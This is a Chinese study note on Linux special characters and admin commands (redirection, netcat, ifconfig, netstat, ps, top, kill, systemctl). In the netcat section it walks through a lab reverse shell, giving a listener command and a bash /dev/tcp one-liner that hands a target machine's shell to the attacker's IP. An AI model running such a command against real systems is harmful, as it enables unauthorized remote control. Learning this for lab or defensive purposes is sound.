目录
一、 Linux特殊字符
1.数据重定向
重定向即指:将数据传送输出到别的地方,如设备、文件等等。
数据重定向就是将输出内容导入到别的地方。
标准输入(STDIN,文件描述符为 0,使用 < 或 <<):默认从键盘输入,也可从其他文件或命令中输入。
标准输出(STDOUT,文件描述符为 1,使用 > 或 >>):默认输出到屏幕。
错误输出(STDERR,文件描述符为 2,使用 2> 或 2>>)
:默认输出到屏幕
家目录对于其他用户和同种用户是没有访问权限的
ll -R /home/ >> test.txt
或ll -R /home/ > test.txt
可以看到正确的信息被重定向到test.txt文件中了1>
以覆盖的方法将『正确的数据』输出到指定的文件或装置上1>>
以累加的方法将『正确的数据』输出到指定的文件或装置上
ll -R /home/ 2 >> test.txt
或ll -R /home/ 2> test.txt
(>覆盖,>>追加)将错误输出重定向到test.txt中2>
以覆盖的方法将『错误的数据』输出到指定的文件或装置上2>>
以累加的方法将『错误的数据』输出到指定的文件或装置上
将错误输出与标准输出都重定向于test.txt文件中
ll -R /home > test.txt 2>&1
(ll -R /home > test.txt
表示把标准的正确输出重定向到test.txt文件中2>
表示一个错误输出2>&1
表示将这个错误输出重定向到标准输出上面,错误输出也就跟着标准输出来到test.txt文件中)标准输出用1表示,错误输出用2表示,&相当于拼接
还可以这样
ll -R /home/ &> test.txt
&>
表示将标准的正确输出与错误输出都重定向与test.txt中
/dev/null
垃圾桶黑洞文件与文件重定向特殊写法:如果希望执行某个命令,但又不希望在屏幕上显示出输出的结果,那么可以将输出重定向到/dev/null
相当于垃圾桶
2.nc
nc全称netcat,又叫做瑞士军刀,是一款简单、可靠的网络工具
作用
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
常用参数
-l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。-p
本地端口-s
指定发送数据的源IP地址,适用于多网卡机-u
指定nc使用UDP协议,默认为TCP-v
输出交互或出错信息,新手调试时尤为有用-w
超时秒数,后面跟数字-z
表示zero,表示扫描时不发送任何数据-i
secs 延时的间隔-L
连接关闭,仍然继续监听-n
指定数字ip,不能用hostname-o
file 记录16进制的传输-r
随机本地及远程端口-t
使用Telnet交互方式
反弹shell,让他主动来连你
- 攻击机:kali (192.168.8.126)
- 目标机:centos7 (192.168.8.132)
- kali 中输入
nc -lvp 9999
开始监听端口9999(l
表示监听v
表示监听的过程p
是指定一个端口)
- centos7中输入
bash -i &> /dev/tcp/192.168.8.126/9999 0>&1
bash -i
表示一个交互式的终端/dev/tcp
是虚拟的0
表示标准输入
- 这样我们就可以通过kali来控制centos7了
3.多命令执行
二、Linux网络和系统管理
1.ifconfig
ifconfig
:显示或设置网络设备
第一行:ens33表示网卡名字
UP:代表此网络接口为启用状态(down为关闭状态)
RUNNING:代表网卡设备已连接
MULTICAST:表示支持组播
MTU:为数据包最大传输单元
第二行:网卡的IP地址、子网掩码、广播地址
第三行:IP v6地址、掩码长度、作用域link表示仅该接口有效
第四行:表示为网卡的MAC地址 传输队列长度 接口类型
第五行:接受数据包个数、大小统计信息
第六行:异常接受包的个数、如丢包量、错误等
第七行:发送数据包个数、大小统计信息
第八行:发送包的个数、如丢包量、错误等ifconfig 网卡名字 down
#关闭指定网卡
ifconfig -a
#显示所有网卡接口的信息(包括未激活的网卡接口)
ifconfig 网卡名字 up
#启动指定网卡
2.ping
ping:检测网络连通性
格式:ping [选项] host
-c
指定ping的次数
-s
设置ping包长度-i
设置发送包间隔时间
-f
快速的连续ping一台主机,ping的速度达到100次每秒
3.netstat
netstat:显示网络相关信息
格式:netstat [选项]
•
-a
显示所有连接
• -t
仅显示tcp相关选项
• -u
仅显示udp相关选项
• -n
拒绝显示别名,能显示数字的全部转化成数字。
• -l
仅列出有在 Listen (监听) 的服務状态
• -p
显示建立相关链接的程序名
- 经典组合:
netstat ntlp
- 执行结果解析
协议 接受队列 发送队列 本地地址和端口 外部地址和端口 连接状态 进程号/程序名
4.wget
wget命令:用于在终端中下载网络文件
格式:wget [参数] 下载地址
-b
后台下载模式-c
启用断点续传-P
下载到指定目录
5.ps
ps:查看当前系统进程
格式:ps [选项]
- -a:显示所有用户的进程
- -u:显示用户名和启动时间
- -x:显示没有控制终端地进程
- -e:显示没有控制终端地进程,相较于x选项更为简略
- -f:全格式显示
- 常用组合:ps -ef ps -aux
显示结果说明:
USER:用户名称
PID:进程号
%CPU:进程占用CPU的百分比
%MEM:进程占用物理内存的百分比
VSZ:进程占用的虚拟内存大小(单位:KB)
RSS:进程占用的物理内存大小(单位:KB)
TT:终端名称,缩写 .
STAT:进程状态,其中 R表示(运行):进程正在运行或在运行队列中等待,S表示(中断):进程处于休眠
中,当某个条件形成后或者接收到信号时,则脱离该状态,D表示(不可中断):进程不响应系统异步信号,
即便用kill命令也不能将其中断,Z表示(僵死):进程已经终止,但进程描述符依然存在, 直到父进程调
用wait4()系统函数后将进程释放,T(停止):进程收到停止信号后停止运行。
START:进程的启动时间
TIME:CPU时间,即进程使用CPU的总时间
COMMAND:启动进程所用的命令和参数,如果过长会被截断显示
6. top
top命令:用于动态地监视进程活动与系统负载等信息
(1)系统时间、运行时间 、用户登录终端数、 系统负载值(三个数值分别为1分钟、5分钟、15分钟内的平均值,数值越小意味着负载越低)
(2)系统总体信息(进程总数、运行中的进程数、睡眠中的进程数、停止的进程数、僵死的进程数)
(3) cpu的总体信息(用户占用资源百分比、系统内核占用资源百分比、改变过优先级的进程资源百分比、空闲的资源百分比等)
(4)物理内存的信息(物理内存总量、内存使用量、内存空闲量、作为内核缓存的内存量)
(5)虚拟内存的信息(虚拟内存总量、虚拟内存使用量、虚拟内存空闲量、已被提前加载的内存量)
top 下半部分的画面,则是每个 进程 使用的资源情况。比较需要注意
- PID :每个进程的 ID
- USER:该进程所属的使用者
- PR :进程的执行顺序,越小越早被执行
- NI :与优先级有关,也是越小越早被执行
- %CPU:CPU 的使用率
- %MEM:内存的使用率
- TIME+:CPU 使用时间的累加
7. kill
kill命令:终止指定进程的运行,kill命令是通过向进程发送指定的信号来结束相应进程的。在默认情况
下,采用kill命令编号为15的信号。该信号将终止所有不能捕获该信号的进程。对于那些可以捕获该信号的
进程就要用编号为9的kill信号,强行“杀掉”该进程。
格式:kill [选项] 进程号
- kill -9 进程号 #强制杀掉进程
8.killall
killall命令:终止特定的一类进程,killall 命令不再依靠 PID 来杀死单个进程,而是通过程序的进程名来杀死一类进程
killall [选项] 进程名
- -i:交互式,询问是否要杀死某个进程
- -I:忽略进程名的大小写
9. systemctl
systemctl:管理系统中的服务
- service 服务名 执行的操作
- systemctl start 服务名 #启动服务
- systemctl restart 服务名 #重启服务
- systemctl stop 服务名 #停止服务
- systemctl status 服务名 #查看服务
- systemctl enable 服务名 #添加开机自启
- systemctl disable 服务名 #取消开机自启
- systemctl is-enabled 服务名 #查看服务是否开机启动
in:创建文件连接
- -s:创建软连接(可用于目录)
- 不带参数为创建硬链接(不可用于目录,不可跨文件系统,但是i节点相同)